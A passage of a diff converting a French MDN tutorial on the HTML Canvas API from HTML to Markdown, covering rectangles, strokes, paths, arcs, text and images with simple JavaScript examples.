est à (50,50) pixels du coin supérieur gauche du canvas (comme définit par les deux premiers paramètres), il a une largeur de 100 pixels et une hauteur de 150 pixels (comme définit par les paramètres 3 et 4).</p> - </li> - <li> - <p>Ajoutons un autre rectangle dans le mix — un vert cette fois. Ajoutez ce qui suit au bas de votre JavaScript:</p> + ```js + ctx.fillStyle = 'rgb(0, 255, 0)'; + ctx.fillRect(75, 75, 100, 100); + ``` - <pre class="brush: js">ctx.fillStyle = 'rgb(0, 255, 0)'; -ctx.fillRect(75, 75, 100, 100);</pre> + Sauvegardez et rafraichissez, et vous verrez un nouveau rectangle. Cela soulève un point important: les opérations graphiques comme dessiner des rectangles, lignes, et autres, sont executées dans l'ordre dans lequel elle apparaissent dans le code. Pensez-y comme peindre un mur, chaque couche de peinture s'ajoute par dessus les anciennes et peuvent même mettre cacher ce qu'il y a en dessous. Vous ne pouvez rien y faire, il faut donc réfléchir soigneusement à l'ordre dans lequel vous allez dessiner les éléments graphiques. - <p>Sauvegardez et rafraichissez, et vous verrez un nouveau rectangle. Cela soulève un point important: les opérations graphiques comme dessiner des rectangles, lignes, et autres, sont executées dans l'ordre dans lequel elle apparaissent dans le code. Pensez-y comme peindre un mur, chaque couche de peinture s'ajoute par dessus les anciennes et peuvent même mettre cacher ce qu'il y a en dessous. Vous ne pouvez rien y faire, il faut donc réfléchir soigneusement à l'ordre dans lequel vous allez dessiner les éléments graphiques.</p> - </li> - <li> - <p>Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant <code>rgba()</code>. La valeur <code>a</code> définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de <code>a</code> est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code:</p> +4. Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant `rgba()`. La valeur `a` définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de `a` est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code: - <pre class="brush: js">ctx.fillStyle = 'rgba(255, 0, 255, 0.75)'; -ctx.fillRect(25, 100, 175, 50);</pre> - </li> - <li> - <p>Maintenant essayez de dessiner plus de rectangles par vous-même; amusez-vous!</p> - </li> -</ol> + ```js + ctx.fillStyle = 'rgba(255, 0, 255, 0.75)'; + ctx.fillRect(25, 100, 175, 50); + ``` -<h3 id="Traits_et_épaisseurs_de_ligne">Traits et épaisseurs de ligne</h3> +5. Maintenant essayez de dessiner plus de rectangles par vous-même; amusez-vous! -<p>Jusqu'à présent nous avons vu comment dessiner des rectangles pleins, mais on peut aussi ne dessiner que les contours (dit <strong>strokes</strong> - traits - en graphic design). Pour définir la couleur que vous voulez pour le contour, utilisez la propriété {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}. Pour dessiner le contour du rectangle, on appelle {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}}.</p> +### Traits et épaisseurs de ligne -<ol> - <li> - <p>Ajoutez ce qui suit au bas de votre JavaScript:</p> +Jusqu'à présent nous avons vu comment dessiner des rectangles pleins, mais on peut aussi ne dessiner que les contours (dit **strokes** - traits - en graphic design). Pour définir la couleur que vous voulez pour le contour, utilisez la propriété {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}. Pour dessiner le contour du rectangle, on appelle {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}}. - <pre class="brush: js">ctx.strokeStyle = 'rgb(255, 255, 255)'; -ctx.strokeRect(25, 25, 175, 200);</pre> - </li> - <li> - <p>L'épaisseur de trait par défaut est de 1 pixel; vous pouvez ajuster la valeur de la propriété {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} pour changer ça (prend un nombre spécifiant le nombre de pixels d'épaisseur de trait). Ajoutez la ligne suivante entre les deux lignes précédentes:</p> +1. Ajoutez ce qui suit au bas de votre JavaScript: - <pre class="brush: js">ctx.lineWidth = 5;</pre> + ```js + ctx.strokeStyle = 'rgb(255, 255, 255)'; + ctx.strokeRect(25, 25, 175, 200); + ``` - <p>Vous devriez maintenant voir que votre contour blanc est devenu beaucoup plus épais!</p> - </li> -</ol> +2. L'épaisseur de trait par défaut est de 1 pixel; vous pouvez ajuster la valeur de la propriété {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} pour changer ça (prend un nombre spécifiant le nombre de pixels d'épaisseur de trait). Ajoutez la ligne suivante entre les deux lignes précédentes: -<p>C'est tout pour le moment. À ce stade votre exemple devrait ressembler à ça:</p> + ```js + ctx.lineWidth = 5; + ``` -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}}</p> + Vous devriez maintenant voir que votre contour blanc est devenu beaucoup plus épais! -<div class="note"> -<p><strong>Note :</strong> Le code terminé est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html">2_canvas_rectangles.html</a>.</p> -</div> +C'est tout pour le moment. À ce stade votre exemple devrait ressembler à ça: -<h3 id="Dessiner_des_chemins">Dessiner des chemins</h3> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}} -<p>Si vous voulez dessiner quelque chose de plus complexe qu'un rectangle, vous allez certainement devoir utiliser un <em>path</em> (chemin). En gros, cela implique de spécifier exactement où déplacer un stylo sur le canvas pour tracer la forme que vous voulez. L'API Canvas inclut des fonctions pour dessiner des lignes droites, des cercles, des courbes Bézier, et plus encore.</p> +> **Note :** Le code terminé est disponible sur GitHub, [2_canvas_rectangles.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html). -<p>Commençons la section en faisant une nouvelle copie de notre template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>), dans lequel nous allons dessiner le nouvel exemple.</p> +### Dessiner des chemins -<p>Nous allons utiliser quelques méthodes et propriétés communes dans les sections suivantes:</p> +Si vous voulez dessiner quelque chose de plus complexe qu'un rectangle, vous allez certainement devoir utiliser un _path_ (chemin). En gros, cela implique de spécifier exactement où déplacer un stylo sur le canvas pour tracer la forme que vous voulez. L'API Canvas inclut des fonctions pour dessiner des lignes droites, des cercles, des courbes Bézier, et plus encore. -<ul> - <li>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} — commence à dessiner un path au point où le stylo se situe sur le canvas. Sur un nouveau canvas, le stylo commence au point (0, 0).</li> - <li>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} — déplace le stylo à un point différent sur le canvas, sans tracer de ligne; le stylo "saute" simplement à une nouvelle position.</li> - <li>{{domxref("CanvasRenderingContext2D.fill", "fill()")}} — dessine une forme en remplissant le path définit jusqu'à présent.</li> - <li>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} — dessine un trait en suivant le path définit jusqu'à présent.</li> - <li>Vous pouvez utiliser les fonctionnalités telles que <code>lineWidth</code> et <code>fillStyle</code>/<code>strokeStyle</code> avec les paths aussi bien qu'avec les rectangles.</li> -</ul> +Commençons la section en faisant une nouvelle copie de notre template ([1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html)), dans lequel nous allons dessiner le nouvel exemple. -<p>Typiquement, une manière de dessiner un trait simple ressemblerait à ça:</p> +Nous allons utiliser quelques méthodes et propriétés communes dans les sections suivantes: -<pre class="brush: js">ctx.fillStyle = 'rgb(255, 0, 0)'; +- {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} — commence à dessiner un path au point où le stylo se situe sur le canvas. Sur un nouveau canvas, le stylo commence au point (0, 0). +- {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} — déplace le stylo à un point différent sur le canvas, sans tracer de ligne; le stylo "saute" simplement à une nouvelle position. +- {{domxref("CanvasRenderingContext2D.fill", "fill()")}} — dessine une forme en remplissant le path définit jusqu'à présent. +- {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} — dessine un trait en suivant le path définit jusqu'à présent. +- Vous pouvez utiliser les fonctionnalités telles que `lineWidth` et `fillStyle`/`strokeStyle` avec les paths aussi bien qu'avec les rectangles. + +Typiquement, une manière de dessiner un trait simple ressemblerait à ça: + +```js +ctx.fillStyle = 'rgb(255, 0, 0)'; ctx.beginPath(); ctx.moveTo(50, 50); // tracer le trait -ctx.fill();</pre> +ctx.fill(); +``` -<h4 id="Dessiner_des_lignes">Dessiner des lignes</h4> +#### Dessiner des lignes -<p>Dessinons un triangle équilatéral sur le canvas.</p> +Dessinons un triangle équilatéral sur le canvas. -<ol> - <li> - <p>Tout d'abord, ajoutez la fonction d'aide suivante au bas de votre code. Elle convertit des valeurs en degrés en radians, ce qui est utile car chaque fois que vous devez fournir une valeur d'angle en JavaScript, ce sera presque toujours en radians, tandis que les humains pensent généralement en degrés.</p> +1. Tout d'abord, ajoutez la fonction d'aide suivante au bas de votre code. Elle convertit des valeurs en degrés en radians, ce qui est utile car chaque fois que vous devez fournir une valeur d'angle en JavaScript, ce sera presque toujours en radians, tandis que les humains pensent généralement en degrés. - <pre class="brush: js">function degToRad(degrees) { - return degrees * Math.PI / 180; -};</pre> - </li> - <li> - <p>Ensuite, commencez votre path en ajoutant ce qui suit au bas de votre JavaScript. Ici, nous définissons une couleur pour notre triangle et déplaçons le stylo au point (50, 50) sans rien tracer. C'est à partir de là que nous allons dessiner notre triangle.</p> + ```js + function degToRad(degrees) { + return degrees * Math.PI / 180; + }; + ``` - <pre class="brush: js">ctx.fillStyle = 'rgb(255, 0, 0)'; -ctx.beginPath(); -ctx.moveTo(50, 50);</pre> - </li> - <li> - <p>Maintenant ajoutez le bloc de code suivant:</p> - - <pre class="brush: js">ctx.lineTo(150, 50); -var triHeight = 50 * Math.tan(degToRad(60)); -ctx.lineTo(100, 50+triHeight); -ctx.lineTo(50, 50); -ctx.fill();</pre> - - <p>Parcourons ceci dans l'ordre:</p> - - <ol> - <li> - <p>D'abord nous ajoutons une ligne vers (150, 50) — notre path va maintenant 100 pixels vers la droite le long de l'axe horizontal (x).</p> - </li> - <li> - <p>Puis, nous calculons la hauteur de notre triangle équilatéral, en utilisant un peu de trigonométrie simple. Nous dessinons un triangle pointant vers le bas.</p> - - <p>Les angles d'un triangle équilatéral sont tous de 60 degrés. Pour calculer la hauteur, nous pouvons séparer le triangle en deux triangles rectangles par le milieu, qui auront alors des angles de 90, 60 et 30 degrés.</p> - - <p>Pour ce qui est des côtés:</p> - - <ul> - <li>Le côté le plus long est appelé l'<strong>hypoténuse</strong></li> - <li>Le côté relié à l'angle de 60 degrés (et qui n'est pas l'hypothénuse) est dit <strong>adjacent</strong> à cet angle — sa longueur est de 50 pixels puisque c'est la moitié de la ligne que nous avons dessiné.</li> - <li>Le côté opposé à l'angle de 60 degrés est dit <strong>opposé</strong> à cet angle — c'est la hauteur que nous voulons calculer.</li> - </ul> - - <p> </p> - - <p><img alt="" src="trigonometry.png"></p> - - <p>Une des formule trigonométrique de base stipule que la longueur du côté adjacent mutiplié par la tangente de l'angle est égale à l'opposé, soit <code>50 * Math.tan(degToRad(60))</code>. Nous utilisons notre fonction <code>degToRad()</code> pour convertir 60 degrés en radians, puisque {{jsxref("Math.tan()")}} attend une valeur en radians.</p> - </li> - <li> - <p>Avec la hauteur calculée, nous ajoutons une nouvelle ligne vers <code>(100, 50+triHeight)</code>. La coordonnée X est simple, elle est à mi-chemin de la ligne que nous avons tracé. La valeur de Y d'autre part doit être de 50 plus la hauteur du triangle, puisque le haut du triangle est à 50 pixels du haut du canvas.</p> - </li> - <li> - <p>L'instruction qui suit ajoute une ligne vers le point de départ du triangle.</p> - </li> - <li> - <p>Pour finir, nous appelons <code>ctx.fill()</code> pour finir le path et remplir la forme.</p> - </li> - </ol> - </li> -</ol> - -<h4 id="Dessiner_des_cercles">Dessiner des cercles</h4> - -<p>Maintenant, voyons comment dessiner un cercle sur le canvas. Pour ce faire, on utilise la méthode {{domxref("CanvasRenderingContext2D.arc", "arc()")}}, qui dessine tout ou une portion de cercle à un point spécifié.</p> - -<ol> - <li> - <p>Ajoutons un arc à notre canvas en ajoutant le code qui suit:</p> - - <pre class="brush: js">ctx.fillStyle = 'rgb(0, 0, 255)'; -ctx.beginPath(); -ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false); -ctx.fill();</pre> - - <p><code>arc()</code> prend six paramètres.</p> - - <ul> - <li>Les deux premiers spécifient la position du centre du cercle (X et Y respectivement).</li> - <li>Le troisième est le rayon du cercle</li> - <li>Le quatrième et le cinquième sont les angles de début et de fin pour dessiner l'arc (donc spécifier 0 et 360 nous donne un cercle fermé)</li> - <li>Et le sixième paramètre définit si le cercle doit être dessiné dans le sens des aiguilles d'une montre ou dans le sens inverse (<code>false</code> pour le sens horaire).</li> - </ul> - - <div class="note"> - <p><strong>Note :</strong> 0 degrés est horizontalement vers la droite.</p> - </div> - </li> - <li> - <p>Ajoutons un autre arc:</p> - - <pre class="brush: js">ctx.fillStyle = 'yellow'; -ctx.beginPath(); -ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true); -ctx.lineTo(200, 106); -ctx.fill();</pre> +2. Ensuite, commencez votre path en ajoutant ce qui suit au bas de votre JavaScript. Ici, nous définissons une couleur pour notre triangle et déplaçons le stylo au point (50, 50) sans rien tracer. C'est à partir de là que nous allons dessiner notre triangle. + + ```js + ctx.fillStyle = 'rgb(255, 0, 0)'; + ctx.beginPath(); + ctx.moveTo(50, 50); + ``` + +3. Maintenant ajoutez le bloc de code suivant: + + ```js + ctx.lineTo(150, 50); + var triHeight = 50 * Math.tan(degToRad(60)); + ctx.lineTo(100, 50+triHeight); + ctx.lineTo(50, 50); + ctx.fill(); + ``` + + Parcourons ceci dans l'ordre: + + 1. D'abord nous ajoutons une ligne vers (150, 50) — notre path va maintenant 100 pixels vers la droite le long de l'axe horizontal (x). + 2. Puis, nous calculons la hauteur de notre triangle équilatéral, en utilisant un peu de trigonométrie simple. Nous dessinons un triangle pointant vers le bas. + + Les angles d'un triangle équilatéral sont tous de 60 degrés. Pour calculer la hauteur, nous pouvons séparer le triangle en deux triangles rectangles par le milieu, qui auront alors des angles de 90, 60 et 30 degrés. - <p>Le motif ici est très similaire, a deux différences près:</p> + Pour ce qui est des côtés: - <ul> - <li>Nous avons mis le dernier paramètre de <code>arc()</code> à <code>true</code>, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre. Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez <code>true</code> à <code>false</code> et ré-exécutez le code, seule une portion de 90 degrés sera dessinée.</li> - <li>Avant d'appeler <code>fill()</code>, nous ajoutons une ligne vers le centre du cercle. Nous obtenons une découpe de style Pac-Man plutôt sympa. Si vous supprimiez cette ligne (essayez!) et ré-exécutiez le code, vous auriez juste un cercle dont le bout a été coupé — entre le début et la fin de l'arc. Cela illuste un autre point important du canvas: si vous essayez de remplir une forme incomplète (qui n'est pas fermée), le navigateur ajoute une ligne droite entre le début et la fin du path et le remplit.</li> - </ul> - </li> -</ol> + - Le côté le plus long est appelé l'**hypoténuse** + - Le côté relié à l'angle de 60 degrés (et qui n'est pas l'hypothénuse) est dit **adjacent** à cet angle — sa longueur est de 50 pixels puisque c'est la moitié de la ligne que nous avons dessiné. + - Le côté opposé à l'angle de 60 degrés est dit **opposé** à cet angle — c'est la hauteur que nous voulons calculer. + + + +  + + Une des formule trigonométrique de base stipule que la longueur du côté adjacent mutiplié par la tangente de l'angle est égale à l'opposé, soit `50 * Math.tan(degToRad(60))`. Nous utilisons notre fonction `degToRad()` pour convertir 60 degrés en radians, puisque {{jsxref("Math.tan()")}} attend une valeur en radians. + + 3. Avec la hauteur calculée, nous ajoutons une nouvelle ligne vers `(100, 50+triHeight)`. La coordonnée X est simple, elle est à mi-chemin de la ligne que nous avons tracé. La valeur de Y d'autre part doit être de 50 plus la hauteur du triangle, puisque le haut du triangle est à 50 pixels du haut du canvas. + 4. L'instruction qui suit ajoute une ligne vers le point de départ du triangle. + 5. Pour finir, nous appelons `ctx.fill()` pour finir le path et remplir la forme. + +#### Dessiner des cercles + +Maintenant, voyons comment dessiner un cercle sur le canvas. Pour ce faire, on utilise la méthode {{domxref("CanvasRenderingContext2D.arc", "arc()")}}, qui dessine tout ou une portion de cercle à un point spécifié. + +1. Ajoutons un arc à notre canvas en ajoutant le code qui suit: + + ```js + ctx.fillStyle = 'rgb(0, 0, 255)'; + ctx.beginPath(); + ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false); + ctx.fill(); + ``` + + `arc()` prend six paramètres. + + - Les deux premiers spécifient la position du centre du cercle (X et Y respectivement). + - Le troisième est le rayon du cercle + - Le quatrième et le cinquième sont les angles de début et de fin pour dessiner l'arc (donc spécifier 0 et 360 nous donne un cercle fermé) + - Et le sixième paramètre définit si le cercle doit être dessiné dans le sens des aiguilles d'une montre ou dans le sens inverse (`false` pour le sens horaire). + + > **Note :** 0 degrés est horizontalement vers la droite. + +2. Ajoutons un autre arc: + + ```js + ctx.fillStyle = 'yellow'; + ctx.beginPath(); + ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true); + ctx.lineTo(200, 106); + ctx.fill(); + ``` -<p>C'est tout pour le moment; votre exemple final devrait ressembler à ceci:</p> + Le motif ici est très similaire, a deux différences près: -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}}</p> + - Nous avons mis le dernier paramètre de `arc()` à `true`, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre. Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez `true` à `false` et ré-exécutez le code, seule une portion de 90 degrés sera dessinée. + - Avant d'appeler `fill()`, nous ajoutons une ligne vers le centre du cercle. Nous obtenons une découpe de style Pac-Man plutôt sympa. Si vous supprimiez cette ligne (essayez!) et ré-exécutiez le code, vous auriez juste un cercle dont le bout a été coupé — entre le début et la fin de l'arc. Cela illuste un autre point important du canvas: si vous essayez de remplir une forme incomplète (qui n'est pas fermée), le navigateur ajoute une ligne droite entre le début et la fin du path et le remplit. -<div class="note"> -<p><strong>Note :</strong> Le code finit est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html">3_canvas_paths.html</a>.</p> -</div> +C'est tout pour le moment; votre exemple final devrait ressembler à ceci: -<div class="note"> -<p><strong>Note :</strong> Pour en savoir plus sur les fonctions de dessin avancées, telles que les courbes Bézier, consultez notre tutoriel <a href="/fr/docs/Tutoriel_canvas/Formes_géométriques">Dessiner des formes avec le canevas</a>.</p> -</div> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}} -<h3 id="Texte">Texte</h3> +> **Note :** Le code finit est disponible sur GitHub, [3_canvas_paths.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html). -<p>Canvas dispose également de fonctionnalités pour écrire du texte. Nous allons les explorer brièvement. Commencez par créer une nouvelle copie du template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>), dans lequel nous allons dessiner le nouvel exemple.</p> +> **Note :** Pour en savoir plus sur les fonctions de dessin avancées, telles que les courbes Bézier, consultez notre tutoriel [Dessiner des formes avec le canevas](/fr/docs/Tutoriel_canvas/Formes_géométriques). -<p>Le texte peut être avec deux méthodes:</p> +### Texte -<ul> - <li>{{domxref("CanvasRenderingContext2D.fillText", "fillText()")}} — dessine un texte rempli.</li> - <li>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText()")}} — dessine un contour de texte.</li> -</ul> +Canvas dispose également de fonctionnalités pour écrire du texte. Nous allons les explorer brièvement. Commencez par créer une nouvelle copie du template ([1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html)), dans lequel nous allons dessiner le nouvel exemple. -<p>Ces deux méthodes prennent trois paramètres: la chaîne de caractères à écrire et les coordonnées X et Y du coin supérieur gauche de la zone de texte (<strong>text box</strong>) — littéralement, la zone entourant le texte que vous écrivez.</p> +Le texte peut être avec deux méthodes: -<p>Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}.</p> +- {{domxref("CanvasRenderingContext2D.fillText", "fillText()")}} — dessine un texte rempli. +- {{domxref("CanvasRenderingContext2D.strokeText", "strokeText()")}} — dessine un contour de texte. -<p>Essayez d'ajouter le bloc suivant au bas de votre javaScript:</p> +Ces deux méthodes prennent trois paramètres: la chaîne de caractères à écrire et les coordonnées X et Y du coin supérieur gauche de la zone de texte (**text box**) — littéralement, la zone entourant le texte que vous écrivez. -<pre class="brush: js">ctx.strokeStyle = 'white'; +Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}. + +Essayez d'ajouter le bloc suivant au bas de votre javaScript: + +```js +ctx.strokeStyle = 'white'; ctx.lineWidth = 1; ctx.font = '36px arial'; ctx.strokeText('Canvas text', 50, 50); ctx.fillStyle = 'red'; ctx.font = '48px georgia'; -ctx.fillText('Canvas text', 50, 150);</pre> +ctx.fillText('Canvas text', 50, 150); +``` -<p>Ici nous dessinons deux lignes de texte, une avec le contour et l'autre remplie. L'exemple final devrait ressembler à ça:</p> +Ici nous dessinons deux lignes de texte, une avec le contour et l'autre remplie. L'exemple final devrait ressembler à ça: -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}}</p> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}} -<div class="note"> -<p><strong>Note :</strong> Le code final est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html">4_canvas_text.html</a>.</p> -</div> +> **Note :** Le code final est disponible sur GitHub, [4_canvas_text.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html). -<p>Jouez avec et voyez ce que vous pouvez faire! Vous pouvez trouver plus d'information sur les options disponibles pour ajouter du texte sur un canvas dans <a href="/fr/docs/Dessin_de_texte_avec_canvas">Dessin de texte avec canvas</a>.</p> +Jouez avec et voyez ce que vous pouvez faire! Vous pouvez trouver plus d'information sur les options disponibles pour ajouter du texte sur un canvas dans [Dessin de texte avec canvas](/fr/docs/Dessin_de_texte_avec_canvas). -<h3 id="Dessiner_des_images_sur_le_canvas">Dessiner des images sur le canvas</h3> +### Dessiner des images sur le canvas -<p>Il est possible d'afficher des images externes sur le canvas. Ce peut être des images simples, des images à l'intérieur d'une vidéo, ou le contenu d'autres canvas. Pour le moment, nous allons juste nous occuper d'ajouter des images simples sur le canvas.</p> +Il est possible d'afficher des images externes sur le canvas. Ce peut être des images simples, des images à l'intérieur d'une vidéo, ou le contenu d'autres canvas. Pour le moment, nous allons juste nous occuper d'ajouter des images simples sur le canvas. -<ol> - <li> - <p>Comme précédemment, créez une nouvelle copie du template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>), où nous dessinerons l'exemple. Vous allez également devoir sauvegarder une copie de notre image d'exemple — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/firefox.png">firefox.png</a> — dans le même répertoire.</p> +1. Comme précédemment, créez une nouvelle copie du template ([1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html)), où nous dessinerons l'exemple. Vous allez également devoir sauvegarder une copie de notre image d'exemple — [firefox.png](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/firefox.png) — dans le même répertoire. - <p>Les images sont dessinés sur le canvas en utilisant la méthode {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Dans sa version la plus simple, elle prend trois paramètres — une référence de l'image que vous voulez afficher et les coordonnées X et Y du coin supérieur gauche de l'image sur le canvas.</p> - </li> - <li> - <p>Commençons par obtenir une ressource de l'image à inclure dans notre canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:</p> + Les images sont dessinés sur le canvas en utilisant la méthode {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Dans sa version la plus simple, elle prend trois paramètres — une référence de l'image que vous voulez afficher et les coordonnées X et Y du coin supérieur gauche de l'image sur le canvas. - <pre class="brush: js">var image = new Image(); -image.src = 'firefox.png';</pre> +2. Commençons par obtenir une ressource de l'image à inclure dans notre canvas. Ajoutez les lignes suivantes au bas de votre JavaScript: - <p>Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image.</p> - </li> - <li> - <p>Nous pourrions essayer maintenant d'inclure l'image en utilisant <code>drawImage()</code>, mais nous devons nous assurer que le fichier image ait été chargé en premier, faute de quoi le code échouera. Nous pouvons y parvenir en utilisant le gestionnaire d'événement <code>onload</code>, qui ne sera appelé que lorsque l'image aura fini de charger. Ajoutez le bloc suivant à la suite du précédent:</p> + ```js + var image = new Image(); + image.src = 'firefox.png'; + ``` - <pre class="brush: js">image.onload = function() { - ctx.drawImage(image, 50, 50); -}</pre> + Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image. - <p>Si vous chargez votre exemple dans le navigateur maintenant, vous devriez voir l'image inclue dans le canvas.</p> - </li> - <li> - <p>Mais il y en a plus! Et si nous ne voulions afficher qu'une partie de l'image, ou la redimensionner? Nous pouvons faire ces deux choses avec une version plus complexe de <code>drawImage()</code>. Mettez à jour votre ligne <code>ctx.drawImage()</code> comme suit:</p> +3. Nous pourrions essayer maintenant d'inclure l'image en utilisant `drawImage()`, mais nous devons nous assurer que le fichier image ait été chargé en premier, faute de quoi le code échouera. Nous pouvons y parvenir en utilisant le gestionnaire d'événement `onload`, qui ne sera appelé que lorsque l'image aura fini de charger. Ajoutez le bloc suivant à la suite du précédent: - <pre class="brush: js">ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175);</pre> + ```js + image.onload = function() { + ctx.drawImage(image, 50, 50); + } + ``` - <ul> - <li>Le premier paramètre est la référence de l'image, comme précédemment.</li> - <li>Les paramètres 2 et 3 définissent les coordonnées à partir d'où découper l'image, relativement au coin supérieur gauche de l'image d'origine. Tout ce qui est à gauche de X (paramètre 2) ou au-dessus de Y (paramètre 3) ne sera pas dessiné.</li> - <li>Les paramètres 4 et 5 définissent la largeur et hauteur de la zone que nous voulons découper, à partir du coin supérieur gauche de l'image découpée.</li> - <li>Les paramètres 6 et 7 définissent les coordonnées où vous souhaitez placer l'image sur le canvas, relativement au coin supérieur gauche du canvas.</li> - <li>Les paramètres 8 et 9 définissent la largeur et la hauteur affichée de l'image découpée. En l'occurence, nous avons spécifié les mêmes dimensions que la découpe, mais vous pouvez la redimensionner (et la déformer) en spécifiant des valeurs différentes.</li> - </ul> - </li> -</ol> + Si vous chargez votre exemple dans le navigateur maintenant, vous devriez voir l'image inclue dans le canvas. -<p>L'exemple final devrait ressembler à ça:</p> +4. Mais il y en a plus! Et si nous ne voulions afficher qu'une partie de l'image, ou la redimensionner? Nous pouvons faire ces deux choses avec une version plus complexe de `drawImage()`. Mettez à jour votre ligne `ctx.drawImage()` comme suit: -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}}</p> + ```js + ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175); + ``` -<div class="note"> -<p><strong>Note :</strong> Le code final est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html">5_canvas_images.html</a>.</p> -</div> + - Le premier paramètre est la référence de l'image, comme précédemment. + - Les paramètres 2 et 3 définissent les coordonnées à partir d'où découper l'image, relativement au coin supérieur gauche de l'image d'origine. Tout ce qui est à gauche de X (paramètre 2) ou au-dessus de Y (paramètre 3) ne sera pas dessiné. + - Les paramètres 4 et 5 définissent la largeur et hauteur de la zone que nous voulons découper, à partir du coin supérieur gauche de l'image découpée. + - Les paramètres 6 et 7 définissent les coordonnées où vous souhaitez placer l'image sur le canvas, relativement au coin supérieur gauche du canvas. + - Les paramètres 8 et 9 définissent la largeur et la hauteur affichée de l'image découpée. En l'occurence, nous avons spécifié les mêmes dimensions que la découpe, mais vous pouvez la redimensionner (et la déformer) en spécifiant des valeurs différentes. -<h2 id="Boucles_et_animations">Boucles et animations</h2> +L'exemple final devrait 